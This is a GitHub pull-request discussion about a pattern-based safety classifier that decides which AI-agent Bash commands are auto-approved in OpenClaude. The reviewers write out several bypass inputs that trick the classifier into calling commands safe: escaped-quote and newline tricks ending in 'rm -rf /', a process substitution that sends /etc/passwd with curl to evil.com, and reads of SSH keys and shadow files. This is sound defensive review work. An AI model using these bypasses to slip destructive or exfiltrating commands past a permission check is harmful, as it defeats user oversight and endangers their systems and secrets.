feat(permissions): pattern-based Bash command safety classifier

[kevincodex1]

External OpenClaude builds stub out yoloClassifier (Anthropic-internal, gated on feature('TRANSCRIPT_CLASSIFIER') + USER_TYPE === 'ant'), so every Bash invocation outside the static safe-tool allowlist currently prompts the user. That turns "run my grep" and "check git status" into permission-prompt fatigue for anyone using OpenClaude with an external provider.

Adds a pure pattern-based classifier that works without the LLM, without the internal feature flag, and with zero latency cost.

New module src/utils/permissions/bashCommandSafety.ts:

classifyBashSafety(command) → { safety: 'safe' | 'unsafe' | 'unknown',
reason: string,
parts?: SafetyVerdict[] }

Safe allowlist covers read-only filesystem inspection (cat, head, tail, stat, wc), listing/search (ls, find without -exec/-delete, grep, rg), version queries (node/npm/bun/python/go/cargo/tsc --version), and git read-only subcommands (status, log, diff, show, blame, branch -v, etc.).

Unsafe denylist covers destructive commands (rm, dd, shred, mkfs), privilege / mutation (sudo, chmod, chown, kill), process control (shutdown, systemctl), package-manager mutations (npm install, brew, apt-get, bun add), network I/O (curl, wget, ssh, rsync), destructive git subcommands (push, commit, reset, rebase, clean, checkout) PLUS destructive flags on otherwise-read-only subcommands (git branch -D, git stash drop, git tag -d, git remote remove, git config --unset).

Compound commands (&&, ||, ;, |, parens) are split and classified individually; overall verdict is the worst case. File redirection (>, >>, 2>, tee) degrades to 'unknown'. Command substitution ($(…), …) and unbalanced quotes degrade to 'unknown' — false-negative bias, never false-positive.

This ships as a primitive. Wiring it into the permission pipeline (so 'safe' verdicts auto-approve and 'unsafe' verdicts always prompt) is a follow-up PR once the classification surface is reviewed.

Summary by CodeRabbit

• New Features
  • Introduced bash command safety classifier that evaluates commands and returns verdicts: safe, unsafe, or unknown.
  • Analyzes command patterns while properly handling complex shell syntax, quoting, operators, and command composition rules.
  • Includes detection of sensitive system paths and credential access attempts.

[auriti]

Security Review — bashCommandSafety.ts

VERDICT: REQUEST_CHANGES
Overall Security Risk: High

The design philosophy is sound — bias toward unknown (false-negative) over false-positive, worst-case compound classification, pure pattern matching. However, the implementation has specific parsing gaps that create real bypass vectors allowing arbitrary commands to be classified as safe.

---

1. Scope

• File: src/utils/permissions/bashCommandSafety.ts (699 lines)
• File: src/utils/permissions/bashCommandSafety.test.ts (359 lines)
• Function: Pattern-based bash command safety classifier (safe/unsafe/unknown)
• Security-critical: false positives → destructive commands auto-approved

2. Attack Surface (in scope)

• Command string parsing (splitCompound, tokenize)
• Allowlist/denylist classification logic
• Compound command handling
• Shell metacharacter handling (quotes, escapes, redirects, substitution)
• Argument validation for gated commands

3. Findings

#	Finding	Severity	Exploitability	Trust Boundary	Fix Type
1	Escaped backslash quote bypass in splitCompound	Critical	Likely	Crosses (classifier→shell)	Local
2	Process substitution <(cmd) / >(cmd) not detected	High	Likely	Crosses	Local
3	Newline as command separator not handled	High	Likely	Crosses	Local
4	No sensitive path validation for read commands	Medium	Proven	Internal	Local
5	git config key value (set) classified as safe	Medium	Proven	Internal	Local
6	git stash (push) classified as safe	Medium	Proven	Internal	Local
7	env/printenv in ALWAYS_SAFE leak environment	Low	Theoretical	Internal	Local
8	git gc/git bisect classified as safe	Low	Theoretical	Internal	Local

4. Finding Details

#1 — CRITICAL: Escaped backslash quote bypass in splitCompound

splitCompound checks for escaped quotes with input[i - 1] !== '\\', but this fails when the backslash itself is escaped (\\"). In bash, \\" is an escaped backslash followed by a real closing quote.

Bypass: echo "test\\" && rm -rf /

• splitCompound sees \ before " → thinks quote is escaped → inDouble stays true → && rm -rf / consumed inside "quoted" string → entire input is one part
• tokenize does NOT check for escaped quotes → correctly closes the quote at the second "
• classifyLeaf sees command = echo → ARG_GATED_SAFE returns true → SAFE
• Shell executes: echo "test\" then rm -rf /

This is a real bypass that classifies arbitrary destructive commands as safe.

Fix: Either (a) implement proper escape-sequence tracking in splitCompound (count consecutive backslashes; odd count = next char is escaped, even count = backslashes are escaped and next char is literal), or (b) when splitCompound and tokenize disagree on quote boundaries, fall back to unknown.

#2 — HIGH: Process substitution not detected

tokenize checks for $( and backticks but NOT for <( or >( (bash process substitution).

Bypass: cat <(curl http://evil.com/exfil?data=$(cat /etc/passwd))

• tokenize produces ["cat", "<(curl", "http://evil.com/...)"]
• cat safe gate: args.length >= 1 && !args.some(isMutatingFlag) → SAFE
• Shell executes curl as a subprocess → network exfiltration

Fix: Add <( and >( to the substitution check in tokenize, returning null → unknown.

#3 — HIGH: Newline as command separator not handled

In bash, \n is equivalent to ; as a command separator. splitCompound does not split on newlines.

Bypass: echo safe\nrm -rf / (literal newline in string)

• splitCompound treats it as one part
• tokenize splits on whitespace (including \n) → tokens ["echo", "safe", "rm", "-rf", "/"]
• Command = echo → SAFE
• Shell executes two commands: echo safe then rm -rf /

Fix: Add \n as a split point in splitCompound, same as ;.

#4 — MEDIUM: No sensitive path validation for read commands

cat, head, tail, less, more safe gates only check for mutating flags, not for sensitive file paths.

Examples classified as SAFE:

• cat /etc/shadow — password hashes
• cat ~/.ssh/id_rsa — private keys
• cat /proc/self/environ — environment variables (secrets)
• cat /dev/sda — raw block device (DoS potential)

Fix: Add a sensitive-path denylist: /etc/shadow, /etc/gshadow, ~/.ssh/*, /dev/*, /proc/*/environ, /proc/kcore. Degrade to unknown when matched.

#5 — MEDIUM: git config set operation classified as safe

git config is in READ_ONLY_SUBCOMMANDS. The unsafe gate checks for --unset, --replace-all, --add but not for the basic set form.

Bypass: git config user.email "attacker@evil.com" → SAFE (but writes to .git/config)

Fix: In the git unsafe gate, when sub === 'config' and rest.length >= 2 and no --get/--list flag, return true (unsafe). Or remove config from READ_ONLY_SUBCOMMANDS and let it fall to unknown.

#6 — MEDIUM: git stash (no args) classified as safe

git stash without arguments is equivalent to git stash push, which modifies the working tree and index.

Fix: In the git safe gate, when sub === 'stash', require rest[0] to be list or show. Otherwise reject.

#7 — LOW: env/printenv in ALWAYS_SAFE

These dump all environment variables, which may contain API keys, tokens, database credentials. Information disclosure risk depends on the environment.

Recommendation: Move to ARG_GATED_SAFE or degrade to unknown. Low priority since the output goes to the LLM context, not directly to an attacker.

#8 — LOW: git gc and git bisect in READ_ONLY_SUBCOMMANDS

git gc repacks objects and deletes loose objects. git bisect start/good/bad modifies HEAD. Neither is truly read-only.

Recommendation: Move gc and bisect out of READ_ONLY_SUBCOMMANDS.

5. Remediation Summary

Priority	Finding	Fix	Who
P0 (blocking)	#1 Escaped backslash quote bypass	Fix escape tracking in splitCompound — count consecutive \ chars	Builder
P0 (blocking)	#2 Process substitution bypass	Add <( and >( detection in tokenize	Builder
P0 (blocking)	#3 Newline command separator	Split on \n in splitCompound	Builder
P1	#4 Sensitive path validation	Add path denylist for read commands	Builder
P1	#5 git config set bypass	Fix git config classification	Builder
P1	#6 git stash push bypass	Restrict git stash safe classification	Builder
P2	#7 env/printenv info disclosure	Move to arg-gated or unknown	Builder
P2	#8 git gc/bisect	Remove from READ_ONLY_SUBCOMMANDS	Builder

6. Trust Boundary Notes

This classifier sits at the trust boundary between LLM-generated commands and shell execution. A false positive (safe classification of a destructive command) directly translates to auto-approved execution. The escaped-quote bypass (#1) crosses this boundary — an LLM generating echo "path\\" && curl ... (a natural pattern when dealing with escaped strings) would have the exfiltration command auto-approved.

7. Additional Test Coverage Needed

The test suite is solid for the happy path but missing adversarial cases:

• No test for escaped backslashes in quotes ("test\\")
• No test for process substitution (<(cmd), >(cmd))
• No test for newline-separated commands
• No test for sensitive file paths (cat /etc/shadow)
• No test for git config set operations
• No test for git stash without arguments
• No test for full-path commands (/usr/bin/rm -rf /)

8. Self-Review Summary

Quality Score: 8/10

• Coverage: 9/10 — Analyzed all major attack vectors (parsing, injection, allowlist/denylist, edge cases). Did not analyze interaction with the broader permission pipeline (out of scope — not yet wired in).
• Accuracy: 8/10 — Traced through code paths character-by-character for critical findings. The escaped-quote bypass trace is high-confidence. Process substitution and newline bypasses are straightforward.
• Proportionality: 8/10 — Critical reserved for the one finding that enables arbitrary command execution. High for bypasses with real but narrower impact. Low for theoretical concerns.
• Actionability: 9/10 — Each finding has a specific fix description.

Confidence: High for findings #1-#6. Medium for #7-#8 (severity depends on deployment context).

Error Classification: None identified. All findings verified by code trace.

Areas NOT covered:

• Integration with permission pipeline (not yet implemented)
• Interaction with existing classifierDecision.ts (out of scope for this PR)
• Performance under adversarial input volume (not a security concern for this module)

Suggested Next Agent: Builder — to implement fixes for P0 findings before this can be safely wired into the permission pipeline.

[auriti]

CRITICAL — Escaped backslash quote bypass

This line checks input[i - 1] !== '\\' to detect escaped quotes, but fails when the backslash itself is escaped. echo "test\\" && rm -rf / — the \\ is an escaped backslash, so the " after it is a real closing quote. But this check sees \ before " and keeps inDouble = true, swallowing && rm -rf / into the quoted string.

The entire compound command is then treated as a single echo → classified SAFE.

Fix: Track consecutive backslashes. A quote is escaped only if preceded by an odd number of backslashes:

let backslashes = 0;
let j = i - 1;
while (j >= 0 && input[j] === '\\') { backslashes++; j--; }
if (backslashes % 2 === 0) inDouble = false; // even = quote is real

[auriti]

HIGH — Process substitution not detected

tokenize checks for $( and backticks but not <( or >( (bash process substitution). This allows:

cat <(curl http://evil.com) → tokens ["cat", "<(curl", "..."] → cat safe gate passes → SAFE

But the shell executes curl as a subprocess.

Fix: Add to the substitution check:

if (trimmed.includes('<(') || trimmed.includes('>(')) return null

[auriti]

HIGH — Newline not handled as command separator

splitCompound splits on &&, ||, ;, |, & but NOT on \n. In bash, newline is equivalent to ;.

echo safe\nrm -rf / → treated as one part → classified based on echo → SAFE

Fix: Add newline handling:

if (c === '\n') {
  parts.push(current)
  current = ''
  i++
  continue
}

[auriti]

MEDIUM — No sensitive path validation

The cat safe gate checks args.length >= 1 && !args.some(isMutatingFlag) but does not validate file paths. This classifies as SAFE:

• cat /etc/shadow (password hashes)
• cat ~/.ssh/id_rsa (private keys)
• cat /proc/self/environ (env secrets)
• cat /dev/sda (raw block device — DoS)

Consider adding a sensitive-path denylist that degrades to unknown.

[auriti]

MEDIUM — git config set operation misclassified

config is in READ_ONLY_SUBCOMMANDS but git config user.email "x" (the set form) writes to .git/config. The unsafe gate only catches --unset, --replace-all, --add — not the basic git config key value set.

Fix: Either remove config from READ_ONLY_SUBCOMMANDS (→ falls to unknown), or in the safe gate, require --get, --list, or args.length <= 2 (just key lookup).

[auriti]

MEDIUM — git stash (no args) misclassified as safe

stash is in READ_ONLY_SUBCOMMANDS. But git stash without arguments = git stash push, which modifies the working tree and index. The unsafe gate only catches drop, clear, pop, apply.

Fix: In the safe gate, when sub === 'stash', only allow list and show as safe subcommands.

[auriti]

Review: Request Changes — Security

The design philosophy is sound: false-negative bias, worst-case compound classification, unknown fallback for anything ambiguous. The test suite covers happy paths well (359 lines). But I found bypass vectors that would allow destructive commands to be classified as safe — critical since this module is intended to auto-approve commands.

P0 — Must fix (auto-approve bypass)

1. Escaped backslash breaks splitCompound quote tracking

splitCompound uses input[i - 1] !== '\\' to detect escaped quotes, but this fails when the backslash itself is escaped (\\"). Character-by-character trace:

Input: echo "test\\" && rm -rf /

In bash: \\ = escaped backslash (literal \), then " closes the quote, then && rm -rf / runs as a second command.

In splitCompound:

• Position 12 ("): input[i-1] is \ → classifier thinks it's \" (escaped quote) → inDouble stays true → && rm -rf / is swallowed inside the "quoted" string → never split → entire command classified as echo → SAFE ❌

The single-char lookback can't distinguish \" (escaped quote) from \\" (escaped backslash + closing quote). Fix: track escape state with a toggle or count consecutive backslashes.

2. Newline (\n) not handled as command separator

splitCompound splits on &&, ||, ;, |, & but not \n. In bash, newline is equivalent to ;.

Input: echo safe + \n + rm -rf /

• splitCompound: \n is not a separator → single part
• tokenize: \n is whitespace → tokens: ['echo', 'safe', 'rm', '-rf', '/']
• cmd = echo → always safe → SAFE ❌

Fix: treat \n as a compound separator in splitCompound (same as ;).

P1 — Should fix

3. Process substitution <(cmd) / >(cmd) not detected

tokenize checks for $( and backticks but not bash process substitution.

cat <(curl evil.com) → tokens ['cat', '<(curl', 'evil.com)'] → cat safe gate passes (just checks args.length >= 1) → SAFE ❌

Fix: add <( and >( to the substitution check in tokenize, returning null → unknown.

4. git config key value (set form) classified as safe

git config is in READ_ONLY_SUBCOMMANDS. The unsafe gate only checks for --unset/--replace-all/--add. But the positional form git config user.email "evil@example.com" writes to .git/config without any flag.

Fix: in the git safe gate, when sub === 'config', require at most 1 non-flag argument (the get form). Two or more non-flag args = set operation = not safe.

5. git stash (no args) classified as safe

git stash = git stash push — modifies working tree and index. The unsafe gate only catches drop/clear/pop/apply.

Fix: in the git unsafe gate for stash, return true when rest.length === 0 or rest[0] === 'push' or rest[0] === 'save'.

P2 — Nice to fix

6. env/printenv in ALWAYS_SAFE — dumps environment variables that may contain API keys and tokens. Consider unknown.

7. git gc (packs/prunes objects, modifies .git/) and git bisect (modifies HEAD by checking out commits) are in READ_ONLY_SUBCOMMANDS but both modify repo state.

Missing adversarial tests

No tests for: escaped backslashes in quotes, newline as separator, process substitution, git config set form, bare git stash, or full-path commands (/usr/bin/rm). Adding these would prevent regressions when the fixes land.

[Vasanthdev2004]

Excellent utility — pure function, comprehensive tests (359/699 ratio), handles edge cases well. Conservative defaults are the right choice for a safety classifier. Needs a follow-up PR to wire into the BashTool permission pipeline, but the module itself is ready. LGTM.

[kevincodex1]

please have a look again when you have time @auriti

[Vasanthdev2004]

Thanks for the PR. This is a targeted re-review of the current head after the earlier review was dismissed by follow-up pushes. I still see a blocker on the current head.

Verdict: Needs changes

Blocking issue:

1. src/utils/permissions/bashCommandSafety.ts still marks commands as safe that are not actually read-only. Examples on current head include command <unsafe> (because command is in ALWAYS_SAFE_COMMANDS), mutating git branch/git tag/git worktree forms, git fetch network activity, and go env -w writing persistent config. That is a false-safe bypass in the command-safety classifier, so I do not think this is merge-ready yet.

Non-blocking notes:

• The parsing-path issues from the earlier review look improved; the remaining problem is classifier correctness at the trust boundary.

Happy to re-review once the blocker is addressed.

[gnanam1990]

Well-engineered standalone utility — correct backslash-escape counting, explicit handling of command / process substitution as 'unknown', and a comprehensive git subcommand matrix. Test coverage is strong. One note: the classifier isn't wired into any caller yet, so a follow-up threading it into the Bash permission path would make this a full feature. Approving the primitive as-is.

[kevincodex1]

hi bro @Vasanthdev2004 please have a look into this again

[Vasanthdev2004]

Scope: Targeted review of the current Bash safety classifier head (daab3cc) with focus on trust-boundary / auto-approval safety.

Verdict: Needs changes

The parser hardening and adversarial coverage are strong, and I agree with the general direction of shipping this as a standalone primitive before wiring it into the permission path. The focused test suite also passes locally.

Blocking issue:

1. The classifier still marks network-effecting git operations as safe: git fetch is explicitly tested as safe, and git ls-remote remains in the read-only subcommand set. That crosses the same trust boundary this classifier is trying to protect. git fetch performs outbound network I/O and mutates local git metadata/refs/FETCH_HEAD; git ls-remote is outbound network I/O even if it is read-only locally. Because the intended follow-up is to use safe for auto-approval, these should not be classified as safe. Please degrade network git subcommands such as fetch/ls-remote to unknown or unsafe, and add regression tests for them.

Verification I ran:

• bun test ./src/utils/permissions/bashCommandSafety.test.ts passed: 115/115.
• GitHub checks are green on the current head.

Once the git network boundary is tightened, I?m happy to re-review. The rest of the current primitive looks carefully built.

[jatmn]

Thanks for following up on the earlier security review. The parser hardening items look addressed now, but I found remaining false-safe classifications in the current head.

Findings

• [P1] Do not classify command itself as always safe
  src/utils/permissions/bashCommandSafety.ts:66
command is not just a read-only lookup helper; with a utility argument it executes that utility while bypassing shell functions. Because it is in ALWAYS_SAFE_COMMANDS, classifyBashSafety('command rm -rf /tmp/x') currently returns safe, so wiring this primitive into auto-approval would let an unsafe command through by prefixing it with command. Please remove command from the unconditional safe set and only allow specific read-only forms such as command -v <name> / command -V <name>.

• [P1] Tighten safe gates for subcommands that still mutate state or perform network I/O
  src/utils/permissions/bashCommandSafety.ts:146
  The current safe gates still return safe for non-read-only operations. I confirmed these examples on the PR head: git fetch, git ls-remote origin, git worktree add ../wt, git branch -m old new, git tag v1.2.3, and go env -w GOPATH=/tmp/go all classify as safe. These perform outbound network I/O, mutate repo refs/metadata/worktrees/tags, or write persistent Go config. Since safe is intended for future auto-approval, please degrade these forms to unknown or mark the mutating forms unsafe, and add regression tests for the specific command shapes.

[Vasanthdev2004]

Blockers

1. CRITICAL: Escaped backslash quote bypass — echo "test\\" && rm -rf / is classified as safe. The splitCompound function mishandles escaped backslashes, allowing arbitrary destructive commands to bypass the classifier.

2. HIGH: Process substitution not detected — cat <(curl http://evil.com/exfil) is classified as safe. The tokenize function doesn't check for <( or >( syntax.

3. HIGH: Newline command separator not handled — echo safe\nrm -rf / is classified as safe. The splitCompound function doesn't split on newlines.

Non-Blocking

• git config set operations classified as safe (should be unsafe)
• git stash without args classified as safe (should be unsafe)
• env/printenv leak environment variables (low risk)
• git gc/git bisect classified as safe (should be unknown)

Looks Good

• Design philosophy is sound (bias toward unknown over false-positive)
• Pure pattern matching — no LLM dependency, zero latency
• Good test coverage for happy path
• Well-structured allowlist/denylist

---

Verdict: Changes Requested — critical security bypasses must be fixed before merge.

The classifier sits at the trust boundary between LLM-generated commands and shell execution. False positives directly translate to auto-approved execution of destructive commands. The escaped-quote bypass (#1) is especially dangerous — an LLM generating echo "path\\" && curl ... (a natural pattern when dealing with escaped strings) would have the exfiltration command auto-approved.

[kevincodex1]

hello @jatmn kindly check this again bro

[coderabbitai]

📝 Walkthrough

Walkthrough

Two new files introduce a pure, pattern-based Bash command safety classifier. bashCommandSafety.ts exports CommandSafety, SafetyVerdict, and classifyBashSafety, which splits compound commands on shell separators (respecting quotes/nesting), tokenizes each part, and applies allowlists, denylists, arg-dependent gates, and sensitive-path detection to return a worst-case verdict. bashCommandSafety.test.ts validates the full classification surface including adversarial bypass scenarios.

Changes

Bash Command Safety Classifier

Layer / File(s)	Summary
Exported types and entry point src/utils/permissions/bashCommandSafety.ts	Defines CommandSafety ('safe' | 'unsafe' | 'unknown'), SafetyVerdict, and classifyBashSafety, which splits compound commands and combines per-part verdicts using unsafe > unknown > safe dominance.
Allowlists, denylists, arg gates, and sensitive-path detection src/utils/permissions/bashCommandSafety.ts	Implements the always-safe allowlist, sensitive-path patterns (SSH keys, AWS creds, /proc, etc.), mutating-flag helpers, unsafe denylist, network-command set, and ARG_GATED_UNSAFE/ARG_GATED_SAFE tables for commands like find, sed, git, npm, docker, and others.
Compound splitter, tokenizer, and leaf classifier src/utils/permissions/bashCommandSafety.ts	Quote/paren/brace-aware compound-command splitting with escape handling; conservative tokenize that rejects substitution/backtick/process-substitution; hasFileRedirect detection; and classifyLeaf applying all gates in order before defaulting to unknown.
Standard classification tests src/utils/permissions/bashCommandSafety.test.ts	Covers empty inputs, always-safe commands, read-only file/search/version queries, git read vs write, dangerous denylist commands, network commands, mutating filesystem commands, package manager operations, redirection, command substitution, compound combinations, quoting, env-var prefix stripping, and unclassified unknowns.
Adversarial bypass regression tests src/utils/permissions/bashCommandSafety.test.ts	Regression suite for escape injection, process substitution, newline-separator splitting, sensitive paths, git config write paths, git stash push/drop vs list/show, env/printenv hygiene, and git maintenance operations (gc, prune, repack, bisect).

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~60 minutes

🚥 Pre-merge checks | ✅ 4 | ❌ 3

❌ Failed checks (2 warnings, 1 inconclusive)

Check name	Status	Explanation	Resolution
Docstring Coverage	⚠️ Warning	Docstring coverage is 50.00% which is insufficient. The required threshold is 80.00%.	Write docstrings for the functions missing them to satisfy the coverage threshold.
Risk Surface Disclosed	⚠️ Warning	Review identifies CRITICAL bypass (unbalanced parens) and MAJOR issue (worktree/reflog mutations) as blockers, but current code lacks these fixes—parenDepth still unguarded, worktree/reflog unenfor...	Apply clamping to parenDepth decrement and add explicit unsafe gates for git worktree/reflog mutating operations; add regression tests for both bypasses.
Description check	❓ Inconclusive	Description covers what changed, why (fatigue/latency from internal limitations), and impact; however, required Testing and Notes sections are missing.	Add Testing section with build/smoke/check status and Notes section documenting tested providers and any follow-up work.

✅ Passed checks (4 passed)

Check name	Status	Explanation
Title check	✅ Passed	Title concisely describes the main addition (pattern-based Bash safety classifier) and is scoped to the permissions module.
Linked Issues check	✅ Passed	Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check	✅ Passed	Check skipped because no linked issues were found for this pull request.
No Hidden Policy Change	✅ Passed	PR adds only new pure library files (bashCommandSafety.ts/test.ts) with no modifications to existing permission infrastructure, no integration into trust boundaries, and no hidden policy changes. E...

_{✏️ Tip: You can configure your own custom pre-merge checks in the settings.}

✨ Finishing Touches

🧪 Generate unit tests (beta)

• Create PR with unit tests

---

_{Comment @coderabbitai help to get the list of available commands.}

[coderabbitai]

Actionable comments posted: 3

🤖 Prompt for all review comments with AI agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@src/utils/permissions/bashCommandSafety.ts`:
- Line 139: In the npm property of the safety check configuration where the
arrow function validates command arguments, the final condition mixing the &&
and || operators is unclear. Wrap the condition checking args[0] === 'config' &&
args[1] === 'get' in parentheses to explicitly clarify operator precedence,
making it clear that this entire combined condition is an alternative option in
the || chain of allowed npm commands. This improves readability without changing
the behavior.
- Around line 162-215: The git function has `worktree` and `reflog` in
READ_ONLY_SUBCOMMANDS, but these subcommands have mutating forms like `git
worktree add`, `git worktree remove --force`, `git reflog expire`, and `git
reflog delete` that should not be allowed. Add special case checks for both
`worktree` and `reflog` subcommands that mirror the existing stash handling
pattern - add conditional blocks that only allow specific safe sub-operations
like `list` and `show` for these commands, and return false for other variants
that would mutate state. This should be done before the general
READ_ONLY_SUBCOMMANDS check.
- Around line 592-618: The parenDepth counter in the operator splitting logic
can go negative when encountering unbalanced closing brackets, which silently
disables operator detection at the top level (parenDepth === 0 check). This
allows dangerous operators like && and | to hide inside what appears to be a
benign command leaf. Fix this by preventing parenDepth from going below zero
when decrementing on close brackets (clamp it to 0), and after the main parsing
loop completes, check if parenDepth is not zero (indicating unbalanced open
brackets). If parenDepth is non-zero at the end, return unknown safety status
rather than proceeding to mark the command as safe, since an imbalanced
structure indicates a parsing failure. Add regression tests for both cases:
unbalanced closing brackets like echo a} && rm -rf / and unbalanced opening
brackets like echo ( && rm -rf / to ensure neither can bypass the safety check.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: ASSERTIVE

Plan: Pro

Run ID: abaffc6e-ab5e-477e-82a7-eec1c6b0e8ad

📥 Commits

Reviewing files that changed from the base of the PR and between dd4c4ab and 9379a88.

📒 Files selected for processing (2)

• src/utils/permissions/bashCommandSafety.test.ts
• src/utils/permissions/bashCommandSafety.ts

📜 Review details

🧰 Additional context used

📓 Path-based instructions (11)

src/**/*.{ts,tsx}

📄 CodeRabbit inference engine (AGENTS.md)

Use TypeScript with strict mode and ESM imports

Files:

• src/utils/permissions/bashCommandSafety.ts
• src/utils/permissions/bashCommandSafety.test.ts

{src/services/**/*.ts,src/utils/**/*.ts}

📄 CodeRabbit inference engine (AGENTS.md)

Use execa for child processes

Files:

• src/utils/permissions/bashCommandSafety.ts
• src/utils/permissions/bashCommandSafety.test.ts

**/*.{ts,tsx,js,jsx,py,json,md}

📄 CodeRabbit inference engine (CONTRIBUTING.md)

Follow the existing code style in the touched files

Files:

• src/utils/permissions/bashCommandSafety.ts
• src/utils/permissions/bashCommandSafety.test.ts

**/*.{ts,tsx,js,jsx,py}

📄 CodeRabbit inference engine (CONTRIBUTING.md)

Keep comments useful and concise

Files:

• src/utils/permissions/bashCommandSafety.ts
• src/utils/permissions/bashCommandSafety.test.ts

**/*.{ts,tsx}

📄 CodeRabbit inference engine (CONTRIBUTING.md)

Follow TypeScript strict mode and type safety practices by running typecheck before submitting

Files:

• src/utils/permissions/bashCommandSafety.ts
• src/utils/permissions/bashCommandSafety.test.ts

**

⚙️ CodeRabbit configuration file

**: # AGENTS.md - AI Agent Coding Guide

This guide is for AI coding agents working in the OpenClaude repository. Read it before changing code, and also follow CONTRIBUTING.md for contributor policy, PR expectations, review follow-up, and project scope.

Project Snapshot

OpenClaude is a coding-agent CLI for cloud and local model providers. It supports OpenAI-compatible APIs, Anthropic, Gemini, DeepSeek, Ollama, MCP, local backends, slash commands, tools, agents, and a React/Ink terminal UI.

The installed CLI runs on Node.js >=22.0.0. Bun is used for source builds, scripts, dependency management, and tests.

Work Style

• Keep changes focused on one problem.
• Prefer existing patterns in the file or nearby module.
• Avoid unrelated formatting, renames, dependency changes, or broad rewrites.
• Add or update tests when behavior changes.
• Update docs when setup, commands, provider behavior, or user-facing behavior changes.
• For new features, larger refactors, dependencies, or runtime changes, follow the issue-first guidance in CONTRIBUTING.md.

Stack And Conventions

• TypeScript with strict mode and ESM imports.
• React + Ink for terminal UI.
• Bun lockfile and Bun scripts for development workflows.
• Node runtime for the built CLI.
• Python exists for legacy/local-provider helper code. Do not add new Python code or expand Python-based features unless a maintainer explicitly approves that direction.

Common libraries and patterns:

• chalk for terminal color.
• commander for CLI argument parsing.
• execa for child processes.
• Existing service, provider, settings, permission, and UI patterns over new abstractions.

Repository Map

• src/commands/ - slash and CLI command implementations.
• src/components/ - React/Ink UI components.
• src/services/ - API, MCP, OAuth, wiki, voice, and other service integrations.
• src/tools/ - tool implementations.
• src/utils/ - shared utilities.
• `src/integration...

Files:

• src/utils/permissions/bashCommandSafety.ts
• src/utils/permissions/bashCommandSafety.test.ts

**/*

⚙️ CodeRabbit configuration file

**/*: Apply the OpenClaude maintainer review rubric from AGENTS.md. Review the current diff, not stale discussion context. Separate real blockers from suggestions. Do not request changes for vague style churn. Treat approval as merge-ready from CodeRabbit's side, pending required human review and GitHub Checks. If checks are failing or unavailable, say so clearly instead of implying the PR is fully ready.

Files:

• src/utils/permissions/bashCommandSafety.ts
• src/utils/permissions/bashCommandSafety.test.ts

src/{components/permissions,utils/permissions,hooks/toolPermission,tools,entrypoints/sdk}/**

⚙️ CodeRabbit configuration file

src/{components/permissions,utils/permissions,hooks/toolPermission,tools,entrypoints/sdk}/**: Review permission prompts, auto-allow logic, sandbox behavior, SDK permission schemas, shell/PowerShell execution, and background execution paths as security-sensitive. Block on bypasses, unclear trust boundaries, unsafe path handling, missing user visibility, or changes that broaden allowed behavior without an explicit maintainer decision.

Files:

• src/utils/permissions/bashCommandSafety.ts
• src/utils/permissions/bashCommandSafety.test.ts

**/*.test.{ts,tsx,js,jsx}

📄 CodeRabbit inference engine (CONTRIBUTING.md)

Add or update tests when the change affects behavior

Files:

• src/utils/permissions/bashCommandSafety.test.ts

**/*.test.{ts,tsx,js}

📄 CodeRabbit inference engine (CONTRIBUTING.md)

Test the exact provider/model path you changed when possible

Files:

• src/utils/permissions/bashCommandSafety.test.ts

{src/**/*.test.ts,src/**/*.test.tsx,tests/**,scripts/**/*.test.ts,vscode-extension/**/*.test.js}

⚙️ CodeRabbit configuration file

{src/**/*.test.ts,src/**/*.test.tsx,tests/**,scripts/**/*.test.ts,vscode-extension/**/*.test.js}: Review tests for meaningful coverage of the changed behavior, isolation of global/env/config state, async cleanup, fake timers, provider profile leaks, and Windows-compatible assumptions. Block when risky runtime changes lack focused regression coverage or tests assert implementation details while missing the user-visible behavior.

Files:

• src/utils/permissions/bashCommandSafety.test.ts

🔇 Additional comments (2)

src/utils/permissions/bashCommandSafety.test.ts (1)

1-533: LGTM!

src/utils/permissions/bashCommandSafety.ts (1)

554-562: LGTM!

Also applies to: 638-698

[coderabbitai]

📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Wrap the mixed &&/|| in parens for clarity.

Precedence is correct (config && get binds tighter), but the unparenthesized tail is easy to misread and a future edit could silently break it. A small parenthesization or an early if (args[0] === 'config') return args[1] === 'get' improves readability without behavior change.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/utils/permissions/bashCommandSafety.ts` at line 139, In the npm property
of the safety check configuration where the arrow function validates command
arguments, the final condition mixing the && and || operators is unclear. Wrap
the condition checking args[0] === 'config' && args[1] === 'get' in parentheses
to explicitly clarify operator precedence, making it clear that this entire
combined condition is an alternative option in the || chain of allowed npm
commands. This improves readability without changing the behavior.

[coderabbitai]

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

MAJOR — git worktree / git reflog mutating forms classified safe.

worktree and reflog are in READ_ONLY_SUBCOMMANDS, but the git unsafe gate (lines 436-542) never inspects them. So:

• git worktree add ../x / git worktree remove --force x → create/delete worktrees on disk → SAFE
• git reflog expire --expire=now --all / git reflog delete → rewrite reflog → SAFE

Neither matches the -D/--delete/... flag filter in the safe gate, so both auto-approve. This broadens allowed behavior for state-mutating git operations.

🔒 Suggested handling (mirror the stash/config pattern)

   git: args => {
     if (args.length === 0) return false
     const sub = args[0]
     const MUTATING_SUBCOMMANDS = new Set([
       ...
     ])
     if (MUTATING_SUBCOMMANDS.has(sub)) return true
+    const rest0 = args.slice(1)
+    if (sub === 'worktree') {
+      return rest0[0] === 'add' || rest0[0] === 'remove' || rest0[0] === 'move' || rest0[0] === 'prune'
+    }
+    if (sub === 'reflog') {
+      return rest0[0] === 'expire' || rest0[0] === 'delete'
+    }

(Read-only forms like git worktree list / git reflog show then still pass the safe gate.) As per path instructions, block on changes that "broaden allowed behavior without an explicit maintainer decision."

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change

	git: args => {
	if (args.length === 0) return true // `git` alone shows usage
	const sub = args[0]
	const READ_ONLY_SUBCOMMANDS = new Set([
	'status',
	'log',
	'diff',
	'show',
	'branch',
	'tag',
	'remote',
	'rev-parse',
	'rev-list',
	'ls-files',
